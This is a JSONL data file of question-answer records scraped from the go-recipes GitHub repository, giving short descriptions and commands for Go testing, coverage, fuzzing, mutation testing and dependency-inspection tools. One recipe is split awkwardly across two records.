{"id": "gh_bbeb01807296", "question": "How to: [⏫](#contents) Detect drops in coverage with [go-test-coverage](https://github.com/vladopajic/go-test-coverage)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool designed to report issues when test coverage falls below a specified threshold. Likely you would want to use it in the CI. — [@vladopajic](https://github.com/vladopajic)\n\n```\ngo-test-coverage --config=./.testcoverage.yml\n```\n\nRequirements\n```\ngo install github.com/vladopajic/go-test-coverage/v2@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952440"}
{"id": "gh_968636351ad8", "question": "How to: [⏫](#contents) :gift: Comment code coverage reports in pull request with [go-coverage-report](https://github.com/fgrosse/go-coverage-report)", "question_body": "About nikolaydubina/go-recipes", "answer": "A CLI tool and GitHub Action to post Go code coverage reports as comment to your pull requests. — [@fgrosse](https://github.com/fgrosse)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952446"}
{"id": "gh_1da4da7f8fc7", "question": "How to: [⏫](#contents) :gift: Differential coverage", "question_body": "About nikolaydubina/go-recipes", "answer": "This is a useful basic technique that should be more widely known (just like bisect). Read more in the blog post. — [@rsc](https://github.com/rsc)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952451"}
{"id": "gh_79cadc8b9673", "question": "How to: [⏫](#contents) :gift: Manipulate coverage profiles with [gopherage](https://github.com/kubernetes/test-infra/blob/master/gopherage)", "question_body": "About nikolaydubina/go-recipes", "answer": "Kubernetes test-infra contains couple useful granular tools to manipulate coverage profiles. — [@kubernetes](https://github.com/kubernetes)\n\n```\naggregate [files...]\ndiff [first] [second]\nfilter [file]\nhtml [coverage]\njunit [profile]\nmerge [files...]\nmetadata [...fields]\n```\n\nRequirements\n```\ngo install k8s.io/test-infra/gopherage/cmd/aggregate@latest\ngo install k8s.io/test-infra/gopherage/cmd/diff@latest\ngo install k8s.io/test-infra/gopherage/cmd/filter@latest\ngo install k8s.io/test-infra/gopherage/cmd/html@latest\ngo install k8s.io/test-infra/gopherage/cmd/junit@latest\ngo install k8s.io/test-infra/gopherage/cmd/metadata@latest\ngo install k8s.io/test-infra/gopherage/cmd/merge@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952459"}
{"id": "gh_55433e873253", "question": "How to: [⏫](#contents) Shuffle tests", "question_body": "About nikolaydubina/go-recipes", "answer": "This is less known option that is disabled by default. However, for robust test suite it is beneficial. More test flags and full description is available at `go help testflag`.\n\n```\ngo test -shuffle=on\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952464"}
{"id": "gh_4674dd492086", "question": "How to: [⏫](#contents) Run tests sequentially", "question_body": "About nikolaydubina/go-recipes", "answer": "Use when you need to synchronize tests, for example in integration tests that share environment. [Official documentation](https://pkg.go.dev/cmd/go#hdr-Testing_flags).\n\n```\ngo test -p 1 -parallel 1 ./...\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952469"}
{"id": "gh_e9c91a62aee0", "question": "How to: [⏫](#contents) Run tests in parallel", "question_body": "About nikolaydubina/go-recipes", "answer": "Add `t.Parallel` to your tests case function bodies. As per documentation, by default `-p=GOMAXPROCS` and `-parallel=GOMAXPROCS` when you run `go test`. Different packages by default run in parallel, and tests within package can be enforced to run in parallel too. Make sure to copy test case data to new variable, why explained [here](https://gist.github.com/posener/92a55c4cd441fc5e5e85f27bca008721). [Official documentation](https://pkg.go.dev/cmd/go#hdr-Testing_flags).\n\n```go\n...\nfor _, tc := range tests {\n    tc := tc\n    t.Run(tc.name, func(t *testing.T) {\n        t.Parallel()\n        ...\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952475"}
{"id": "gh_f260dc8518c7", "question": "How to: [⏫](#contents) Run all Fuzz tests", "question_body": "About nikolaydubina/go-recipes", "answer": "Standard tool runs only single fuzz test. Use following to run all fuzz tests in a package.\n\n```\ngo test -list . | grep Fuzz | xargs -P 8 -I {} go test -fuzz {} -fuzztime 5s .\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952480"}
{"id": "gh_160951b9e0a3", "question": "How to: [⏫](#contents) :gift: Fuzz Go binaries using LibAFL with [GoLibAFL](https://github.com/srlabs/golibafl)", "question_body": "About nikolaydubina/go-recipes", "answer": "This project provides a setup for fuzzing Go binaries using LibAFL. By leveraging Go native libFuzzer-compatible instrumentation (`sancov_8bit`), we enable advanced fuzzing capabilities beyond Go built-in fuzzing support. — [@srlabs](https://github.com/srlabs)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952486"}
{"id": "gh_5721cbaa2a56", "question": "How to: [⏫](#contents) Detect goroutine leaks with [goleak](https://github.com/uber-go/goleak)", "question_body": "About nikolaydubina/go-recipes", "answer": "Instrument your test cases with verification call. Alternatively, you can add single call in `TestMain`. This tool was recommended by Pyroscope in [blog](https://grafana.com/blog/2023/04/19/how-to-troubleshoot-memory-leaks-in-go-with-grafana-pyroscope/). — Uber\n\n```go\nfunc TestA(t *testing.T) {\n  defer goleak.VerifyNone(t)\n  ...\n}\n```\n\nRequirements\n```\ngo get -u go.uber.org/goleak\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952492"}
{"id": "gh_cbb8c1c08002", "question": "How to: [⏫](#contents) Detect goroutine leaks with [leaktest](https://github.com/fortytw2/leaktest)", "question_body": "About nikolaydubina/go-recipes", "answer": "Refactored, tested variant of the goroutine leak detector found in both `net/http` tests and the cockroachdb source tree. You have to call this library in your tests. — [@fortytw2](https://github.com/fortytw2)\n\n```\nfunc TestPoolContext(t *testing.T) {\n  ctx, cancel := context.WithTimeout(context.Background(), time.Second)\n  defer cancel()\n  defer leaktest.CheckContext(ctx, t)()\n\n  go func() {\n    for {\n      time.Sleep(time.Second)\n    }\n  }()\n}\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952499"}
{"id": "gh_fe5f50420260", "question": "How to: [⏫](#contents) Visualize test runs with [vgt](https://github.com/roblaszczak/vgt)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool visualizes Go test results in a browser. It's helpful with understanding parallelism of tests and identifying slow tests. More information can be found in our blog post about optimizing Go tests parallelism. — [@roblaszczak](https://github.com/roblaszczak)\n\n```\ngo test -json ./... | vgt\n```\nRequirements\n```\ngo install github.com/roblaszczak/vgt@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952505"}
{"id": "gh_07958443ecba", "question": "How to: [⏫](#contents) Summarize `go test` with [tparse](https://github.com/mfridman/tparse)", "question_body": "About nikolaydubina/go-recipes", "answer": "This lightweight wrapper around STDOUT of JSON of `go test` will nicely render colorized test status, details of failures, duration, coverage, and package summary. — [@mfridman](https://github.com/mfridman)\n\n```\nset -o pipefail && go test ./... -json | tparse -all\n```\nRequirements\n```\ngo install github.com/mfridman/tparse@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952511"}
{"id": "gh_129fcf9318cc", "question": "How to: [⏫](#contents) Decorate `go test` with [richgo](https://github.com/kyoh86/richgo)", "question_body": "About nikolaydubina/go-recipes", "answer": "Add colors and enrich `go test` output. It can be used in CI pipeline and has lots of alternative visualizations and options. — [@kyoh86](https://github.com/kyoh86)\n\n```\nrichgo test ./...\n```\nRequirements\n```\ngo install github.com/kyoh86/richgo@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952517"}
{"id": "gh_4010a33c2fbf", "question": "How to: [⏫](#contents) Decorate `go test` with [gotest](https://github.com/rakyll/gotest)", "question_body": "About nikolaydubina/go-recipes", "answer": "Add colors to `go test` output. Very lightweight wrapper around `go test` STDOUT. — [@rakyll](https://github.com/rakyll)\n\n```\ngotest ./...\n```\nRequirements\n```\ngo install github.com/rakyll/gotest@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952523"}
{"id": "gh_4b1de1b7c57c", "question": "How to: [⏫](#contents) Decorate `go test` with [gotestsum](https://github.com/gotestyourself/gotestsum)", "question_body": "About nikolaydubina/go-recipes", "answer": "This wrapper around `go test` renders test output in easy to read format. Also supports JUnit, JSON output, skipping slow tests, running custom binary. — [@dnephin](https://github.com/dnephin)\n\n```\ngotestsum --format dots\n```\nRequirements\n```\ngo install gotest.tools/gotestsum@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952529"}
{"id": "gh_e88c7093eed9", "question": "How to: [⏫](#contents) Format `go test` results as documentation with [gotestdox](https://github.com/bitfield/gotestdox)", "question_body": "About nikolaydubina/go-recipes", "answer": "Decorates `go test` results by converting CamelCaseTestNames into readable sentences. — [@bitfield](https://github.com/bitfield)\n\n```\ngotestdox ./...\n```\nRequirements\n```\ngo install github.com/bitfield/gotestdox/cmd/gotestdox@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952536"}
{"id": "gh_833d24d6f9e5", "question": "How to: [⏫](#contents) Get slowest tests with [gotestsum](https://github.com/gotestyourself/gotestsum)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is subcommand of `gotestsum` that processes JSON output of `go test` to find slowest tests. — [@dnephin](https://github.com/dnephin)\n\n```\ngo test -json -short ./... | gotestsum tool slowest --threshold 500ms\n```\n\nExample\n```\ngotest.tools/example TestSomething 1.34s\ngotest.tools/example TestSomethingElse 810ms\n```\n\nRequirements\n```\ngo install gotest.tools/gotestsum@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952542"}
{"id": "gh_8fe40f07ebb9", "question": "How to: [⏫](#contents) Automatically re-run failed tests with [gotestsum](https://github.com/gotestyourself/gotestsum)", "question_body": "About nikolaydubina/go-recipes", "answer": "Other useful option of `gotestsum` is to re-run failed tests. For example, if you have flaky tests that are idempotent, then re-running them may be a quick fix. — [@dnephin](https://github.com/dnephin)\n\n```\ngotestsum --rerun-fails --packages=\"./...\"\n```\n\nRequirements\n```\ngo install gotest.tools/gotestsum@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952554"}
{"id": "gh_20b8aaa63660", "question": "How to: [⏫](#contents) Make `JSUnit` test report with [gotestsum](https://github.com/gotestyourself/gotestsum)", "question_body": "About nikolaydubina/go-recipes", "answer": "JUnit is widely used format for test reporting. — [@dnephin](https://github.com/dnephin)\n\n```\ngo test -json ./... | gotestsum --junitfile unit-tests.xml\n```\n\nRequirements\n```\ngo install gotest.tools/gotestsum@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952560"}
{"id": "gh_ea295b6a8070", "question": "How to: [⏫](#contents) Get packages without tests", "question_body": "About nikolaydubina/go-recipes", "answer": "If code coverage does not report packages without tests. For example for CI or quality control.\n\n```\ngo list -json ./... | jq -rc 'select((.TestGoFiles | length)==0) | .ImportPath'\n```\n\nExample\n```\ngithub.com/gin-gonic/gin/ginS\ngithub.com/gin-gonic/gin/internal/json\n```\n\nRequirements\n```\nhttps://stedolan.github.io/jq/download/\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952571"}
{"id": "gh_42713fc68bbd", "question": "How to: [⏫](#contents) Perform Mutation Testing with [ooze](https://github.com/gtramontina/ooze)", "question_body": "About nikolaydubina/go-recipes", "answer": "Mutation testing is a technique used to assess the quality and coverage of test suites. It involves introducing controlled changes to the code base, simulating common programming mistakes. These changes are, then, put to test against the test suites. A failing test suite is a good sign. It indicates that the tests are identifying mutations in the code—it \"killed the mutant\". If all tests pass, we have a surviving mutant. This highlights an area with weak coverage. It is an opportunity for improvement. — [@gtramontina](https://github.com/gtramontina)\n\n```\ngo test -v -tags=mutation\n```\nRequirements\n```\ngo get github.com/gtramontina/ooze\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952577"}
{"id": "gh_c598a3a68ab6", "question": "How to: [⏫](#contents) Perform Mutation Testing with [avito-tech/go-mutesting](https://github.com/avito-tech/go-mutesting)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is fork of [zimmski/go-mutesting](https://github.com/zimmski/go-mutesting). It has more mutators and latest updates. — [@vasiliyyudin](https://github.com/vasiliyyudin)\n\n```\ngo-mutesting ./...\n```\n\n```go\nfor _, d := range opts.Mutator.DisableMutators {\n  pattern := strings.HasSuffix(d, \"*\")\n\n-\tif (pattern && strings.HasPrefix(name, d[:len(d)-2])) || (!pattern && name == d) {\n+\tif (pattern && strings.HasPrefix(name, d[:len(d)-2])) || false {\n    continue MUTATOR\n  }\n}\n```\n\nRequirements\n```\ngo install github.com/avito-tech/go-mutesting/cmd/go-mutesting@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952584"}
{"id": "gh_f458c97a17df", "question": "How to: [⏫](#contents) Trace tests with [go-test-trace](https://github.com/rakyll/go-test-trace)", "question_body": "About nikolaydubina/go-recipes", "answer": "Collect test execution as distributed traces. This is useful for tracking test duration, failures, flakiness. You distributed tracing storage, search, UI, exploration, dashboards, alarms — all will automatically become test status collection. If you run integration tests in your CI, then it is particularly handy to investigate your integration tests same way as real requests, such as Go processes, databases, etc. However, if you do not have distributed traces, it is still useful for adhoc investigations. This tool processes STDOUT of `go test`. No automatic instrumentation is done. — [@rakyll](https://github.com/rakyll)\n\n```\ngo-test-trace ./...\n```\nRequirements\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952597"}
{"id": "gh_b0b931eb7cfb", "question": "How to: traces UI (Datadog, Jaeger, Honeycomb, NewRelic)", "question_body": "About nikolaydubina/go-recipes", "answer": "go install github.com/rakyll/go-test-trace@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952603"}
{"id": "gh_ad4e29762fe8", "question": "How to: [⏫](#contents) Speedup tests for large codebases", "question_body": "About nikolaydubina/go-recipes", "answer": "As of 2023-12-11, large codebases may be slow to run tests by default commands. Compiling package test binaries first and executing them later can lead to significant overall speedup.\n\n```\ngo test -c ./pkg/mypackage -o my_pkg_test_binary.bin\n./my_pkg_test_binary.bin | ... # normal test output post processing\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952608"}
{"id": "gh_8cecf1f4dbc3", "question": "How to: [⏫](#contents) Upgrade dependencies", "question_body": "About nikolaydubina/go-recipes", "answer": "In case VSCode or GoLand broke and you need to update dependencies manually.\n\n```\ngo get -u ./...\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952613"}
{"id": "gh_abf8fd8a40f5", "question": "How to: [⏫](#contents) Get Go version of current module", "question_body": "About nikolaydubina/go-recipes", "answer": "For example, setup correct Go version automatically from `go.mod` in CI.\n\n```\ngo mod edit -json | jq -r .Go\n```\n\nRequirements\n```\nhttps://stedolan.github.io/jq/download/\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952618"}
{"id": "gh_c7d5ba48da09", "question": "How to: [⏫](#contents) Get Go versions of upstream modules", "question_body": "About nikolaydubina/go-recipes", "answer": "Use this when upgrading version of Go or finding old modules.\n\n```\ngo list -deps -json ./... | jq -rc 'select(.Standard!=true and .Module.GoVersion!=null) | [.Module.GoVersion,.Module.Path] | join(\" \")' | sort -V | uniq\n```\n\nExample\n```\n1.11 github.com/ugorji/go/codec\n1.11 golang.org/x/crypto\n1.12 github.com/golang/protobuf\n```\n\nRequirements\n```\nhttps://stedolan.github.io/jq/download/\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952624"}
{"id": "gh_23b634803621", "question": "How to: [⏫](#contents) Get directly dependent modules that can be upgraded", "question_body": "About nikolaydubina/go-recipes", "answer": "Keep your modules updated. Similar function is integrated in VSCode official Go plugin and GoLand.\n\n```\ngo list -u -m $(go list -m -f '{{.Indirect}} {{.}}' all | grep '^false' | cut -d ' ' -f2) | grep '\\['\n```\n\nExample\n```\ngithub.com/goccy/go-json v0.5.1 [v0.7.3]\ngithub.com/golang/protobuf v1.3.3 [v1.5.2]\ngithub.com/json-iterator/go v1.1.9 [v1.1.11]\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952630"}
{"id": "gh_948b98c2395e", "question": "How to: [⏫](#contents) Get available module versions", "question_body": "About nikolaydubina/go-recipes", "answer": "This works even if you did not download or install module locally. This is useful to check to which version you can upgrade to, what is the latest version, and whether there are v2+ major versions recognized by Go toolchain.\n\n```\ngo list -m -versions github.com/google/gofuzz\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952640"}
{"id": "gh_830c5e94e2f3", "question": "How to: [⏫](#contents) Get go module libyear, number of releases, version delta with [go-libyear](https://github.com/nieomylnieja/go-libyear)", "question_body": "About nikolaydubina/go-recipes", "answer": "[libyear](https://libyear.com) is a simple measure of software dependency freshness. It is a single number telling you how up-to-date your dependencies are. For example Rails 5.0.0 (June 2016) is 1 libyear behind 5.1.2 (June 2017). This tool can also compute number of releases, and version number delta. — [@nieomylnieja](https://github.com/nieomylnieja)\n\n```\ngo-libyear /path/to/go.mod\n```\n\nExample\n```\npackage                             version  date        latest   latest_date  libyear\ngithub.com/nieomylnieja/go-libyear           2023-11-06                        2.41\ngithub.com/pkg/errors               v0.8.1   2019-01-03  v0.9.1   2020-01-14   1.03\ngithub.com/urfave/cli/v2            v2.20.0  2022-10-14  v2.25.7  2023-06-14   0.67\ngolang.org/x/mod                    v0.12.0  2023-06-21  v0.14.0  2023-10-25   0.35\ngolang.org/x/sync                   v0.3.0   2023-06-01  v0.5.0   2023-10-11   0.36\n```\n\nRequirements\n```\ngo install github.com/nieomylnieja/go-libyear/cmd/go-libyear@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952647"}
{"id": "gh_ee20447caeeb", "question": "How to: [⏫](#contents) Make graph of upstream modules with [modgraphviz](https://golang.org/x/exp/cmd/modgraphviz)", "question_body": "About nikolaydubina/go-recipes", "answer": "For each module, the node representing the greatest version (i.e., the version chosen by Go's minimal version selection algorithm) is colored green. Other nodes, which aren't in the final build list, are colored grey. — official Go team\n\n```\ngo mod graph | modgraphviz | dot -Tsvg -o mod-graph.svg\n```\nRequirements\n```\nhttps://graphviz.org/download/\ngo install golang.org/x/exp/cmd/modgraphviz@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952654"}
{"id": "gh_3ff8524fe38c", "question": "How to: [⏫](#contents) Make graph of upstream packages with [import-graph](https://github.com/nikolaydubina/import-graph)", "question_body": "About nikolaydubina/go-recipes", "answer": "Find unexpected dependencies or visualize project. Works best for small number of packages, for large projects use `grep` to narrow down subgraph. Without `-deps` only for current module. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\ngo list -deps -json ./... | jq -c 'select(.Standard!=true) | {from: .ImportPath, to: .Imports[]}' | jsonl-graph | dot -Tsvg > package-graph.svg\n```\nRequirements\n```\nhttps://stedolan.github.io/jq/download/\nhttps://graphviz.org/download/\ngo install github.com/nikolaydubina/import-graph@latest\ngo install github.com/nikolaydubina/jsonl-graph@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952660"}
{"id": "gh_372d656c7dd8", "question": "How to: [⏫](#contents) Scrape details about upstream modules and make graph with [import-graph](https://github.com/nikolaydubina/import-graph)", "question_body": "About nikolaydubina/go-recipes", "answer": "Find low quality or unmaintained dependencies. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\ngo mod graph | import-graph -i=gomod | jsonl-graph -color-scheme=file://$PWD/basic.json | dot -Tsvg > output.svg\n```\nRequirements\n```\nhttps://graphviz.org/download/\ngo install github.com/nikolaydubina/import-graph@latest\ngo install github.com/nikolaydubina/jsonl-graph@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952667"}
{"id": "gh_a641d589648a", "question": "How to: [⏫](#contents) Scrape licenses of upstream dependencies with [go-licenses](https://github.com/google/go-licenses)", "question_body": "About nikolaydubina/go-recipes", "answer": "Collect all the licenses for checking if you can use the project, for example in proprietary or commercial environment. — Google\n\n```\ngo-licenses csv github.com/gohugoio/hugo\n```\n\nExample\n```\ngithub.com/cli/safeexec,https://github.com/cli/safeexec/blob/master/LICENSE,BSD-2-Clause\ngithub.com/bep/tmc,https://github.com/bep/tmc/blob/master/LICENSE,MIT\ngithub.com/aws/aws-sdk-go,https://github.com/aws/aws-sdk-go/blob/master/LICENSE.txt,Apache-2.0\ngithub.com/jmespath/go-jmespath,https://github.com/jmespath/go-jmespath/blob/master/LICENSE,Apache-2.0\ngithub.com/gorilla/websocket,https://github.com/gorilla/websocket/blob/master/LICENSE,BSD-2-Clause\ngithub.com/pelletier/go-toml/v2,https://github.com/pelletier/go-toml/blob/master/v2/LICENSE,MIT\ngithub.com/spf13/cobra,https://github.com/spf13/cobra/blob/master/LICENSE.txt,Apache-2.0\ngithub.com/kyokomi/emoji/v2,https://github.com/kyokomi/emoji/blob/master/v2/LICENSE,MIT\ngo.opencensus.io,Unknown,Apache-2.0\ngithub.com/Azure/azure-storage-blob-go/azblob,https://github.com/Azure/azure-storage-blob-go/blob/master/azblob/LICENSE,MIT\ngithub.com/yuin/goldmark-highlighting,https://github.com/yuin/goldmark-highlighting/blob/master/LICENSE,MIT\n```\n\nRequirements\n```\ngo install github.com/google/go-licenses@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952675"}
{"id": "gh_193822b8246e", "question": "How to: [⏫](#contents) Explore dependencies with [goda](https://github.com/loov/goda)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool has extensive syntax for filtering dependencies graphs. It can work with packages and modules. — [Egon Elbre](egonelbre@gmail.com)\n\n```\ngoda graph . | dot -Tsvg -o graph.svg\ngoda graph -cluster -short \"github.com/nikolaydubina/go-cover-treemap:all\" | dot -Tsvg -o graph.svg\n```\nRequirements\n```\nhttps://graphviz.org/download/\ngo install github.com/loov/goda@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952681"}
{"id": "gh_b67d802b1fbc", "question": "How to: [⏫](#contents) Explore dependencies interactively with [spaghetti](https://github.com/adonovan/spaghetti)", "question_body": "About nikolaydubina/go-recipes", "answer": "Useful in large refactorings, dependency breaking, physical layout changes. — [Alan Donovan](https://github.com/adonovan), official Go team\nRequirements\n```\ngo install github.com/adonovan/spaghetti@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952687"}
